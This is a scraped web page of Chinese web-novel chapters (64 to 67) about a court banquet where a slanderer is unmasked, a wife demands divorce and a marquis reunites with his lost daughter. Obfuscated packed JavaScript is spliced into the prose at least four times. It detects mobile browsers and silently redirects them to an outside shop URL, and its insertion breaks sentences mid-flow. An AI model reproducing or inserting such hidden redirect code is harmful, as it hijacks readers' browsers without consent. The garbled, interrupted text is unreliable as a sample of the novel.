;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14214795|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬟悄悄递了纸条。 世子妃得知纸条内容后退出席位,随即让人转告秦瑶,有人约她到连廊相见。 秦瑶看向卢玉竹,她正与人说话,根本没有起身的意思。 而屏风那侧,阮正已不见踪影。 陈衡正拉着世子四处给人灌酒,见秦瑶频频透过屏风张望,便靠近过来。 “世子我帮你看住了,怎么世子妃被你放跑了?”他道。 “你还问我,那姓阮的人呢?”她隔着屏风悄声道,“方才有人把世子妃叫走了,你说会不会是他?” 陈衡看向阮正的席位,早已空空如也,他若有所思道:“我们跟去看看。” 说着便也朝着后方连廊走去,还不忘拉上世子一起。 秦瑶见席间无人注意,也跟了过去。 这连廊连通后院,也是侯府唯一精巧设置之所在,走上十步就有一处拐弯,可谓“曲径通幽”了。 “你要带我去哪儿?”世子被陈衡拉着,很快挣脱,不满道,“哥儿几个正猜酒呢,你拉我到这儿做什么!” “嘘!”秦瑶赶了过来,示意他噤声,“适才世子妃被人塞了纸条,约到此处,你就不怕她有危险?” 世子原还骂骂咧咧,闻言立刻闭了嘴,锁了眉头,整个人变得严肃起来。 三人轻移脚步,又拐了两个弯后,裹足不敢上前了。 只因连廊所通小厅堂内,木门虚掩,已能看到世子妃露出的半截衣袖。 她的声音清晰传来:“你找我到此,是为何事?” 门里一道略带愧疚的男声响起:“亦妹妹。” 这声音……陈衡和世子对视一眼,他们都认得,此人正是阮正。 “叫我世子妃!”世子妃厉声打断他。 阮正失落道:“世子妃……也是不记得你的阮哥哥了。” 世子妃吓得猛然退后一步,靠在门框上,颤声道:“若你是来跟我道歉,我愿接受,若你是来说别的,就当我没来过!” “道歉?”阮正疑惑,“道什么歉?” “自然是你身边有人污蔑我被困许州之时,与你……” “与我旧情复燃?”他语气中带有一丝兴奋。 世子妃双唇发抖:“是污蔑我被人……不,是被你……” 她说不出那种污言秽语。 这谣言四起,虽没有明确指出谣言中的另一主角,可大家心照不宣。 在众人心中,除了山匪,满朝文武谁又真敢对世子妃行玷污之事? 那真相只能是“一个巴掌拍不响”,阮郎君有情,柳氏又有意了。 什么玷污,只是欲盖弥彰,想遮掩奸情罢了。 “世子妃是不是想说,是我娘子因妒忌你我之情,故意放出流言报复世子妃?”阮正的声音传来,竟带着几分癫狂。 秦瑶抬头去看世子,见他已黑了脸,正咬牙切齿。 同样咬牙的,还有世子妃:“你再胡说!我们只是幼时相识,何来情字一说?你到底有何目的?” “世子妃倒是清醒。”阮正笑道,“这点你说的不错,你我幼时相识,这么多年过去,哪还有半分情可言!至于那流言,也与卢氏无关!” 64. 人如其名 和卢氏无关? 世子正听得云里雾里,却听世子妃问道:“如此说来,你知道是何人放出流言,也知道此人目的?” 世子听到这里才恍然大悟,原来竟是有人故意设计,放出不利于世子妃的谣言。 他不解,悄声问:“难道有人倾慕我已久,肖想世子妃之位,所以才会……污蔑阿亦?” 秦瑶翻了个白眼。 “世子就不能再往深处想想?鹬蚌相争渔翁得利,你若因此流言要和世子妃和离,谁得利?” 世子愣了,因此事他和世子妃貌合神离已不是两天了。 “谁能想到这破事还带目的!”他恼怒道。 世子妃早在新婚之时,就劝过他不适合朝堂,愿他今后能做个闲散郡王,保一家平安就成,他还不信,与她大吵一架。 如今处在流言漩涡之中,他也深切体会了一下这烦人的算计。 阮正沉默片刻后,开了口:“其实我们都被利用了,阿亦妹妹,你知我阮家与你爹是站在一处的,你想想,二皇子定记恨我在许知州手下却临阵倒戈,所以他们故意设计你我之事……” 世子妃却觉得这说辞有着那么一丝不对劲。 可她来不及深究,只想让阮正在众人面前澄清两人无事发生。 “好,我不管他人什么目的,今日我有我的目的。”世子妃抓了他的袖子,道,“你与我一同到众人面前说清楚!” 世子妃亦是心底清楚之人。 世子此刻早已按捺不住,不等陈衡阻拦,几步冲了过去,将门一脚踹开! 他扯了阮正:“我夫人说得对,管别人那么多作甚,你今日必须当着大家面,还我夫人清白!” 世子妃剜了他一眼,心道他竟在外偷听。 不过如此也好,自己这蠢货夫君总算听出她是被人诬陷了。 阮正哈哈一笑,甩了袖子道:“好啊,我自然愿意替阿亦妹妹作证,只是不揪出始作俑者,谁又相信?” “始作俑者本世子自会查个清楚,你只管去澄清!”世子不耐烦推他出来。 路过陈衡秦瑶两人时,秦瑶看到他嘴角挂着一抹笑,十分玩味。 “此人嘴里没一句实话。”她皱了眉头,不好的预感涌上心头。 前厅杯觥交错,正一片热闹氛围。 众人见世子推着一男子出来,后边还跟着世子妃等人,连台上的戏也看不下去了,皆直愣愣盯着几人。 “世子这是做什么?”有人问道。 甚至几位眼尖之人已认出了那男子正是流言正中之人,阮正。 “不会是和世子妃暗中约会,被世子抓了个正着?” “我就说流言向来不会空穴来风!” “有好戏看了!”众人纷纷猜测。 秦瑶忙走近老太君,跟她大致描述了一下现状,又让戏班子先停下。 宴席逐渐安静下来,左右两侧众男女全部看向了上座。 “世子,这是怎么回事?”老太君作为长辈,又是主人,不免问了一句。 世子推了推阮正,不客气道:“说!” 阮正目光扫过众人,在卢氏身上停了一下后,清了清嗓子道:“鄙人阮正,于世子妃危难之时,施以援手,可不想却在事后得知,世子夫妇如今正被流言所困,我在此就向大家作个见证,当日世子妃被困许州,我阮家以多年与柳家的交情发誓,世子妃受阮家保护,并未被歹人侵害!” 席间鸦雀无声。 世子又催促道:“接着说!” 阮正面露凄凉:“我与世子妃亦是清清白白!纵使我们幼时便已相识,青梅竹马,我心里一直有她……后来我投了军,想挣个功名再来娶她,可她却早早进了王府,成了世子妃……” 说着,他已是泪洒当场,泣不成声。 世子揪住他衣领,咬牙道:“你说什么?你再说一遍?” 秦瑶倒吸一口凉气,这厮果然满口谎言,前后不一致,方才在世子妃面前还承认两人没什么情分,这会儿又赚足众人同情。 世子妃也慌了神:“方才你同我不是这样讲的!我们、我们什么都没!” 她无助,把目光投向下方卢氏。 “如今我唯一对不起的,就是我娘子!”阮正朝卢氏凄然一笑,“她知我已有了心上人,却不计前嫌执意嫁了我,而我、我却迟迟无法回心转意……娘子贤良大度,从未因此嫉妒世子妃,那流言绝不是从娘子那儿传出来的!” “这不是贼喊捉贼嘛!” “说了半天,也就是他爱慕世子妃,那正室嫉妒,就乱传些谣言报复。” “可他不是说了,流言不是从卢氏那里传出来的!” “嘁——不从那儿,那从哪儿?难不成还是你传的?” “我跟他们又没干系!” 众人碍于世子颜面,不敢大声争论,窃窃私语起来。 只见卢氏一笑,站了起来。 “夫君这是要把脏水往妾身头上泼啊!”她说话铿锵有力,一看就胸有成竹。 阮正道:“娘子这是冤枉,在场的都听到了,我明明说的是,你绝无可能!” 卢氏缓缓走上前。 “你说你爱慕世子妃,而我知情却依旧嫁了你。”她目光坚定,与他对峙,“试问听到此话的人谁信,若知心爱之人另有所爱,谁还能做到不妒忌?这谎言拿来哄孩子便可,在座的心中都清楚得很!” 众人纷纷点头。 “不得不说,夫君好计策。”卢氏转过身来,面向众人,“你此番话语,不正引得大家都往我头上猜测?” 阮正立刻道:“娘子误会我了!” “世子妃!”卢氏并未理会他,直面世子妃,道,“我知道此事是谁在害你,我本想给彼此留个体面,可惜白费了我一番苦心!” 她原在开席之前,就曾在众人面前提起,在许州时世子妃同她一直吃住一处。 卢玉竹这是有意在帮世子妃,也在给阮正留情面。 世子妃见她夫妻二人指责,心里已明白了大半。 “我就说,玉竹不会是那种人!”世子妃激动道。 卢氏看向自己的夫君:“世子妃,他说的没错,他是一直在肖想你,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14224345|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这无关你的人,他只是肖想你家地位!他早想以七出之罪无后休了我,再想法子让世子休弃你,他好登堂入了相府的室!” 什么—— 众人大惊。 很快有人反应过来,世子妃可是柳相独女! 若阮正能娶了她,即使入赘,日后相府的一切可都要落在他头上了! 众人觉得诧异,这人竟如此大胆…… 有人道:“匪夷所思,男子想要地位,何不自己去挣,再者说京中未出阁的小姐那么多,他吃了熊心豹子胆了,去打皇家的主意?娶个高官家女儿也比让世子休了世子妃更容易!” 卢氏不由瞪了那人一眼,道:“以他的出身,到哪儿再去认识一位闺阁小姐?也就我卢家门第低微,勉强算得上门当户对!” 秦瑶早已听得目瞪口呆,望向世子两人,却见那两人也呆住了。 此时陈衡突然开口问道:“纵然是世子休妻,岂是容易的?” 是啊,皇家休妻岂是那么容易?若真休了,不是打了陛下当初赐婚的脸面? 卢氏看向阮正的目光充满不屑:“所以,他就想让世子妃名节受损,令天家蒙羞,不得不休了她!才编造出此等流言,还想利用女子间妒忌之心,把这始作俑者安到我头上!” 世子妃突然泪水涟涟问世子:“原来你说和离,是怕此事日后影响到我,怕我被休弃,所以才提出要先与我和离?” 世子点头,他的确有此考量。 “阮兄。”陈衡看着他,“你说一说,事实如何?” 阮正被拆穿了一切,面色自然好不到哪儿去。 他原有退路。 若计策不成,他还能继续跟卢氏过小日子。 可此刻却是枕边人亲自拆穿了自己。 原来卢氏什么都知道! 阮正突然觉得自己十分可笑,他癫狂爆发出一阵大笑,索性将一切全说了出去:“是啊,我本想就老实待在许知州手下,做一名守城将,谁让她柳家又出现了?” 他顿了下,收起笑容,朝着人群大吼,“既然上天又让我遇见旧识,我当然要抓住这唯一的绳子往上爬!你们这些生来就什么都有的人,又能知道些什么!” 他家里三兄弟,两个哥哥为了家产已争得你死我活,于是他出了家门,发誓要自己闯出一片天地。 本来一切顺利,谁料陡然生变,许知州变成了乱党,自己又因着收留了世子妃不得不临阵倒戈,而此等因祸得福让他尝到了权力晋升的滋味。 他想再往上,便把目光投向了柳家。 当然这背后也少不了一些朝堂势力的助力,可总归一切皆因他的贪婪所起。 “啪——”卢氏打了他一巴掌。 她向世子与世子妃行了大礼,道:“我卢玉竹不齿与此人同行!今日揭露一切,并非是想在世子妃面前邀功,只望世子和世子妃做个见证,我卢玉竹今日便与他和离!” 一个女子,大庭广众之下,自己提出要与夫君和离。 如此惊世骇俗! 秦瑶看着她,坦荡于天地间,人如其名——玉竹。 65. 和离休夫 “卢玉竹,你还要脸吗!”寂静无声的侯府,突然爆发出一道怒吼。 众人都被阮正这吼声吓了一跳,见他双眼通红,已是状若癫狂。 卢玉竹转过身去,朝众人道:“京兆府尹何在?” 宴席上,一个身影在旁人的催促下不情不愿站了起来,正是如今的京兆府尹范大人。 “大人。”卢玉竹向他施然行礼,毫无畏惧,“大人是京城百姓的父母官,我这家务事你是管还是不管?” 范大人捋了捋胡须,相当为难。 “和离本是你情我愿之事,你让本官如何插手?”他摇头道,“那阮郎君看上去也不愿与你和离,不如你们夫妻俩再商量一下?” 众人闻言,一阵捂嘴偷笑。 倒是有女子仗义执言,讥讽道:“难怪府尹大人能稳坐京中数十年,如此推脱皆不得罪!” “哈哈……”阮正得意道,“卢玉竹,你听见没有?和离?你今日让我身败名裂,还妄想和离?妇人所犯七出之罪,你多年无子,我大可休了你!” 不过……他血红的眸子染上一抹阴骘,他断不会如此容易休了她! 卢玉竹所求并不是休弃,明明是对方走了歪门邪道,凭什么自己承担被休的罪名! “范大人,你也看到了,是他心术不正欲弃我在先,陷害世子妃在后,按理说若我告他,这状你不接也得接!”她目光直逼府尹,“如今我所求不过是要你帮我主持公道,求个和离,已是我让步了!若你还要推辞,我便要告状休夫!” “你敢!”阮正威胁,却被陈衡与世子制住。 范大人擦了擦额上冷汗,律法虽有言妇人可在某种状况下休夫,可也并未有人付诸行动啊! 这卢家小娘子成了本朝休夫第一人了! 府尹在京中判案多年,也调解过不少百姓家务事,所以他示意世子与陈衡先安抚夫妻俩。 若能劝住和好,那是再好不过。 谁知世子根本看不懂他的意思,瞪了他一眼道:“范大人怎磨磨蹭蹭的?成不成给个准话!” 他只好把求助目光投向朝中同僚,陈衡。 没想到陈衡也道:“大人,这么多人看着,您可要三思而后行。” 范大人忙看了在场众人一圈,发现所有人正齐齐盯着自己,不禁冷汗直流。 这若是说错了话,办错了事,明日早朝岂不让人参自己几本。 “这……”他把目光投向了秦瑶,忽然灵机一动,“今日这么多贵人在场,哪轮到我说话?不如乡君来说说,该怎么办?” 秦瑶刚被封了乡君,在这宴席中除了世子与侯府老太君外,自然是没人比她更尊贵。 可世子明显要推阮正出来领罪,侯府又是今日宴席主人家,他只有拉这位乡君出来了。 秦瑶早恨不得替卢玉竹做主,休了这心术不正的阮郎君,她却也知此事怕是轮不到她来管。 她只得问道:“本君一介妇人,也不懂律法之事,大人可否说说,这犯人犯了什么罪?” 此言一出,宴席角落的左侯爷目光一亮,这小女子是个聪明的,张口竟要引府尹断案了。 “……编造谣言污蔑世子妃……”范大人绞尽脑汁将此事从头到尾想了一遍,“是诽谤罪。” “诽谤?若威胁到民间安稳,可是要夷三族的!”众人议论纷纷。 “他这是杖刑吧,若只对世子妃一人……” 秦瑶又问:“大人瞧着此人所犯诽谤,对平民是何惩罚?若是对皇室,又是什么惩罚?” 范大人摇头,心想就算是乡君,也果真一介妇人! 他大义凛然道:“天子犯法与庶民同罪!” “原来如此……”秦瑶点点头,颇有些失望,“既然罪名已有,那就请大人尽快定罪结案吧!” 府尹看了看世子,又看了看在座众人,然并无一人出来替阮郎君求情,看来今日这是非是逃不掉了。 牵扯皇室,谁敢求情?怪只能怪他得罪谁不好,偏偏要找世子妃的麻烦。 阮正此时咬牙道:“定罪又如何?她卢玉竹不还是我阮家娘子?” 卢玉竹却视死如归:“纵使离不了你们阮家,不过顶着名头罢了,我还不能离了你自己过?” 秦瑶轻轻挪了两步,不动声色站在她身旁,示意她稍安勿躁。 “大人,本君还有一个问题。”她问,“夫若犯罪,妇该如何?” 范大人一双小眼转来转去:“这得分情况,阮郎君所犯之罪到不了和离休夫的地步啊!” “大人不妨说说,要怎样严重妇人才能和离或休夫?”秦瑶看了眼女席,“如此也好让众位姊妹听听,长长见识。” 范大人众目睽睽之下,不得不开口:“那当然得是大罪了,比如诬陷,意在谋反,若夫妇无所出,妇便可改嫁。” 阮正一脸得意。 他又未犯大罪,不过杖刑而已,待他释放归家后,定要好好收拾卢玉竹。 然而秦瑶却对卢玉竹笑道:“好了,卢娘子,你可回去收拾东西离开了。” 众人皆是一愣。 卢玉竹也皱眉道:“难道他……承安君若知他所隐瞒罪责,还望如实相告。” 秦瑶则问府尹:“难道大人不觉得此事奇怪吗?阮郎君方才还说他只想在许州严笠手下好好做个守城将,又说自己与柳相是站在同一处之人,此人说话前后矛盾,甚是奇怪啊!” “正是……”许久未言的世子妃也纳闷道,“那严笠可是随二皇子意图谋反之人,此人怕不是借着此事攀附相府,实则帮二皇子蛰伏于朝堂,以待来日之反击?” “是啊,不然他污蔑世子妃作何?嘴上说着与柳相与朝廷站在一处,实则往柳相独女往皇室身上泼脏水!” “此人的确前后矛盾、疑点颇多!” “范大人,恭喜你要立功了,这若抓了问出来些什么,可是大功一件!”有人起哄。 阮正慌乱道:“不是!不是!你们这才是污蔑!” 范大人眯起眼睛,知众人所言极是。 若真抓了他拷打一番,问出逆党计划……他得快点出手,别被刑部和大理寺抢了去! 他忙抓过身后一名手下:“快回去叫人!” 手下心领神会。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14235400|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可不等他们转身,后边突然窜出来两队将士,身着铠甲,谁也没见过。 “抓人!”只听宴席角落里一人站了起来,一声令下。 正是左侯爷! “侯、侯爷!”有人惊呼,“他回来了!” 老太君早已激动的站了起来,篡着娇娇的手发颤。 她眼含泪水,嗓子眼像堵了团棉花,久久说不出话来。 左叙雷厉风行吩咐手下把人绑了,扔到京兆府。 之后他走上前来,朝母亲跪拜:“娘,儿不孝!” 老太君眼睛被泪水糊住,只把娇娇往前一推,哽咽道:“这、这是你女儿,你、你快瞧瞧!” 左侯爷起身瞪大眼睛,看向娇娇,红了眼眶。 自从这个女儿丢失,左家陡生变故,他一直活在愧疚之中。 当年他在妻子临终之时发誓,必将女儿找到,如今这誓言终于兑现,他心中更是五味杂陈。 左娇娇看着他,怯怯叫了声:“爹。” 她爹如今变化颇大,已不是记忆中那模糊的样子了,所以她一时对眼前之人有些陌生。 左侯爷颤抖着双手抓着她的手臂,紧紧捏住,半晌只低低“呜”了一声,猛地把女儿抱在怀里。 在场之人见此场景,皆不由落泪。 世子妃与卢玉竹也识趣默默退至席位,不忍打扰这父女相认。 陈衡把世子拽了下去,世子欲说些什么,被他阻止。 “今日之事先到此为止,世子有何疑问等宴席散了再说不迟。”他提醒道。 世子悻悻闭了嘴。 秦瑶上前扶了泣不成声的老太君,轻声劝慰:“这是大喜事,干娘该高兴才是。” 老太君这才擦了眼泪,把儿子扶起:“快,快起来,扰了大家看戏。” 左侯爷放开女儿,又警惕把她拉到身旁,生怕再丢了。 他转身朝大家拱手道:“某回来不巧,误了大家热闹,实属该罚!上酒!” 他连喝三杯,才高兴道:“今日大家吃好喝好,想玩什么尽管提,我侯府设宴绝不让大家扫兴而归!” “侯爷说笑!众人皆知侯爷向来大方!”大家拍手叫好。 秦瑶见状,忙递了戏折子给贵人点戏。 府里又恢复了热闹。 左侯爷在他娘身边坐下,斜眼睨着在人群中如鱼得水的秦瑶,问道:“娘,你什么时候认了干女儿,怎么没写信跟我说一声?” “这等小事,用不着。”老太君摆了摆手,道,“再说是我要认个女儿,和你有什么干系。” “我听说她是什么陛下亲封的乡君?”他不屑道,“此等钻营之人,我侯府应不齿与她一道!儿走了这么长时日,娘竟也学会了攀附权势?” 老太君无奈摇头:“是承安乡君!你可知‘承安’两字何意?” “我管它何意!”左侯爷一惯直来直去,不喜弯绕,“不成!她来侯府有何目的,我定要当面问清楚!” 说罢他便吩咐老太君身边的丫鬟,把秦瑶叫来当面一问。 娇娇在旁鄙夷道:“不许你欺负我娘!” 66. 侯府恩人 “不许你问我娘!” 老太君忙把娇娇拉到一旁,捂上她的嘴。 “你是想让所有人都听到?”老太君把她搂在怀里,小声道,“你想好了,在外人眼里,你养娘还是个没嫁过人的姑娘,你若这么一吼让人听到……” 娇娇懂事,也不想秦瑶受他人另眼相待,意识到自己说错话了,忙低头沉默。 左侯爷还没弄明白,四下里瞅了瞅,好奇道:“什么你娘?说起你娘,你回来后应到她处祭拜一番,好让她泉下有知,能寻个解脱。” 提起这位早逝的夫人,他心情越发不好。 秦瑶正在同人闲话,被丫鬟找来,说侯爷要见她。 她往上座看去,见左侯爷归家后还未来得及卸甲,整个人直挺挺坐在那儿,面色阴沉,颇有大将之风。 她心中一沉,道:“糟了,这正儿八经的主人家,我倒是忘了去见,实在失礼。” 丫鬟领她过去之时,她笑得十分谄媚。 “让侯爷一回来就遇上这等事,是本君失礼了。”她福身道。 左叙将她全身上下打量了八百遍,才迟迟开口:“你就是陛下亲封的承安君?我母亲的干女儿?” 秦瑶点头:“正是。” 左侯爷又看了看席间吃酒看戏的陈衡,问道:“那陈公子与你是何关系?” 秦瑶怔了怔。 他突然发问,令她一时没有反应过来。 老太君瞪了他一眼:“你是打仗打傻了?哪有一上来就问人家姑娘这种问题的?” 秦瑶僵在脸上的笑又化了开来,回道:“本君也并不是孤身一人,朋友还是有几个的。” 谁知左侯爷不屑道:“本侯瞧着,你与他倒是亲密无间。” 秦瑶收敛了笑容。 左侯爷这是来者不善,故意找茬。 “孽障!”老太君不由轻声骂道,“刚回来你就皮痒了?大庭广众之下如此败坏阿瑶声誉!还不快滚回屋里,把你那身盔甲卸了!在你老娘这儿装什么模作什么样!” 挨了骂,他眼里的厌恶更盛了:“什么东西!也敢来我侯府攀起亲戚来了!” 秦瑶心中怒火已烧了起来,她原想娇娇她爹是个领兵打仗的,粗俗一些也实属正常,却没想到竟是如此粗鄙不堪。 她强压心中怒火,冷笑道:“本君如何,陛下自有决断,众人自有公论,就不劳侯爷费心了,只是你说我攀附侯府之事……本君不明白,侯爷倒是说清楚,我怎么就攀附侯府了?” 老太君忙道:“就是,你老娘我膝下又没个闺女,早想要个女儿了,见到她我就高兴得很,怎么,如今我认个干女儿你也要阻拦不成?” 左侯爷闻言鄙睨一笑:“呵,弄了半天,原是我侯府势力,攀附了乡君啊!” “侯爷不必在此阴阳怪气!”秦瑶眉头斜飞,“话还是说清楚为好,省得互相误会!” 左侯爷点头:“我也正有此意,我不管你是什么乡君县君的,也不管你如何周旋于陈家及各公卿公子身边!总之,我侯府从来没过什么干亲,今后也不会认什么干亲!” “你!”老太君气得摸起身边拐杖狠狠朝儿子打去。 一时之间,众人又被这动静吸引。 陈衡走上前来,将秦瑶挡在身后,拱手道:“侯爷这是作何?” 左侯爷忍着疼痛,抬眼就见陈家公子亲自上前,心里便想他料得不错。 他把目光投向席间,见陈母正盯着自己儿子,一副如临大敌的样子。 “正好,陈兄弟,我今日就要问问你!”左侯爷怒道,“你说说,承安君与你是何关系?为何我曾听你母亲说,她一贯势力钻营,原为攀附陈家,她是不是给你做妾不成,又存了做外室的主意?” “侯爷慎言!”陈衡神情渐冷,他转头看了母亲一眼,寒光乍现。 陈母更是一头雾水,她哪跟侯爷提过此事!怎么如今又扯到自己身上了!还害儿子怨上了自己! “你让你母亲上来说说,看这事是真是假?”左侯爷不依不饶,又冲老太君道,“娘,我就说她不是什么善茬,你认干女儿也不好好挑挑!谁知她使了什么手段,让陛下封了她不说,还把我们侯府迷得团团转,娘竟还让她插手我们家事!” “混账!”老太君气的一口气差点没吸上来,“你以为我是为何?” “为何?”他反问。 陈母及在座的一些人知道,老太君认秦瑶做干女儿,无非是看她捡到娇娇,小心教养,并无虐待苛刻,还亲自送了回来。 此等大恩,认个干女儿理所当然。 看来侯爷刚回家,还不清楚事情因果。 陈母原想趁机上去说两句,好让儿子看清此女真面目,此刻她却发现,这事里外并无不妥,她也没脸去说三道四。 只见老太君长叹一口气,把娇娇送到秦瑶身边。 娇娇抱住秦瑶,动作十分娴熟。 “陈小郎君退下吧,让我这老婆子亲自来教训他!”她对陈衡道。 陈衡拱手恭敬一礼,退至一边。 紧接着,侯府就响起了打骂声。 老太君拿了手杖,狠狠朝儿子背后打去,边打边骂。 左侯爷四处抱头逃窜。 “你老娘我就是这么教你的?你对得起左家列祖列宗?谁教你如此对待恩人!你女儿在外原是要吃多少苦?若不是遇上阿瑶,她被卖到哪儿你都不知道!人家捡到你女儿时也不过十五六的年纪!为了你女儿没嫁人不说,还得日日起早贪黑赚钱养她!” 左侯爷边叫边喊:“娘!别打了!别打了!我错了!” 他原不知娇娇竟是秦瑶带大的,如此被他娘吼了个七七八八,这才明白。 “养大了不说,还一有机会就给咱送回来了!”老太君气喘吁吁,“若遇上别人,你何时才能再将女儿找回都未可知!” 趁她停下喘气,左侯爷跳过来,一把夺过母亲手里的手杖。 “娘你消消气!”他忙安抚道,“我才知道,先前你也不在信里说清楚,让我误会这妹子了,我这就向她道歉!” 说罢他众目睽睽之下,竟直接朝秦瑶“噗通”跪下,结结实实磕了三个响头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14244744|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“恩人在上,请受我一拜!” 秦瑶见他被老太君狠揍,早已怒气尽散,忙侧身福礼,道:“侯爷快请起,这本是我该做的,万万不敢受此大礼!” 左侯爷这才起了身,拍了腿上灰尘,笑呵呵道:“哪有什么该不该的,从今往后,阿瑶妹子就是我亲妹子,就是我侯府嫡亲的小姐!” 他倒变脸变得快。 方才还万般嫌恶,此刻又满脸讨好。 秦瑶推辞:“不敢当,能做老太君干女儿我便已知足。” 左侯爷全然没把她的话放心上,也不顾脸上身上的伤,朝着陈母冷冷一扫,道:“若今后让本侯再听到谁在外边胡乱编排本侯妹子,就是与侯府作对!” 老太君满意点头:“这还差不多!行了,让大家看笑话了!赶紧下去收拾收拾!” 左侯爷又对众宾客陪酒道歉了一番,才随人下去收拾了。 陈母想起方才左侯爷看自己的眼神,心有余悸,坐下直饮了一大口茶。 看来这秦瑶从此以后,在这京城是有了靠山。 她以后再想对付她,就难了。 “唉,这可如何是好。”她叹道。 陈母身边的大丫鬟却道:“夫人,我瞧着这承安君好像不是难相处之人。” 听身边人竟说好话,她不由剜了丫鬟一眼:“怎么?” “夫人您想,她捡到左家小姐后,并未转手卖出,也并无苛待。”丫鬟自幼生在底层,十分清楚底层那些人,若换做其他人捡到贵家小姐,怕是要卖到青楼,得个好价钱。 “这倒是。”陈母点头,“算她还有些良心。不过那也说不定是她看左家贵女有利可图。” 丫鬟继续道:“再有利可图,谁还会冒着风险将孩子归还?不说能不能得些赏赐,万一被那些大户人家当作人牙子,或敲诈勒索之人,打一顿都是轻的,若转手卖了岂不更省事?” 陈母略微沉吟。 “再者说,那秦馠也不是有利可图之人,却也被承安君收养。”丫鬟道,“我倒觉得比起秦馠,承安君更为良善,还请夫人多想想。” 她早觉得秦馠一天到晚,在夫人面前说尽了养母不好,忘恩负义,令人不适。 那个莹秋又满身心眼,一心想给公子做妾,更不是什么好人。 这两人一唱一和,蒙蔽主人十分在行。 宴席接近尾声,陈母也无心玩乐,等一散场她便告辞回府,若有所思。 又见儿子与秦瑶站在大门口惜别,心里又不舒服起来。 陈衡是等人都快走完了,才慢悠悠出来,等着秦瑶送客。 此时左侯爷也已收拾妥当,穿了常服,与她一道迎来送往。 “不知承安君今夜是在侯府歇下,还是回自己的住处?”陈衡不满道。 既然侯爷回来了,侯府有了男主人,秦瑶当然不好在侯府留宿。 她向侯爷告辞:“侯爷,若无其他事,本君就回了。” “阿瑶妹子,侯府就是你家,你这是要去哪儿?”左侯爷不解风情看了看陈衡,“不会要随陈兄弟走吧?” 67. 逼娶他人 御赐的府邸已快收拾好,秦瑶打算找个黄道吉日搬进去。 她是朝廷新贵,一些见风使舵者早打听到她在向阳巷的住处,纷纷上门送礼。 什么珊瑚摆饰、银球镂空香炉,一件件往宅子里送。 更有甚者,直接往新府邸送了各种名贵家具,一时间她收礼收到手软。 所以一听陈衡说要回向阳巷,她心中是不情愿。 陈衡道:“侯爷说笑了,秦姑娘初来京城,在下正有一所宅院空着,于是借给她住。” 侯爷看了眼陈家马车,车已走远,警惕道:“你也住那儿?” “那倒不会。”陈衡说谎不打草稿,“把她送去后,我自会回陈家。” 侯爷皱了皱眉头:“你休要诓我,你娘方才眼巴巴瞅你半天,你都没跟她走,我早觉得你们俩有问题!” 这侯爷表面看上去大老粗一个,实际心细如发,是秦瑶没想到的。 见陈衡刚要把事情说出,她忙抢先道:“侯爷多虑,此事我自有分寸。” “妹子,你这就见外了。”他摆摆手,“莫不是方才之事,你气还没消?都是为兄误会了,不过为兄要多句嘴,你还是尽快搬走,免得他人议论,有损姑娘家清誉。” 秦瑶不愿与他沾亲带故,又觉他是好心,点头道:“侯爷说的有理。” 左侯爷又不好意思跟陈衡道歉:“陈兄弟,我说这话你可别不爱听,你虽是正人君子,却避不开悠悠众口。” “侯爷想得周全,不愧是领兵之人。”陈衡硬着头皮夸赞道。 宾客已送,两人同他告辞离去。 陈衡对她方才所说颇为不满,道:“阿瑶如此躲躲藏藏,又瞒得过几时?” “公子这话就不对了,你我原就是假的,难道要弄得人尽皆知?” 她也决不会任他拿捏。 “就算如此,侯爷说让你早日搬离,你答应的倒快。”他怨道,“若是你搬去承安君府,还如何深入我陈家,助我一臂之力?” 秦瑶走了两步,停住了:“你尽管拿我当挡箭牌,陈家一时半会儿不敢轻举妄动,倒是自从回京你也不多备辆马车,怎么叫我天天跟你走起路来!” “当初我们在你村里遇险,你跑的比我还快,怎么到了京城反学了那些小姐,走不动了。”他提起往事,嘴角不自觉上扬。 两人正说着,一陈家下人气喘吁吁跑来,喊道:“公子,可算找到你了!” “怎么了?”陈衡紧锁眉头,这时辰找他,不是什么好事。 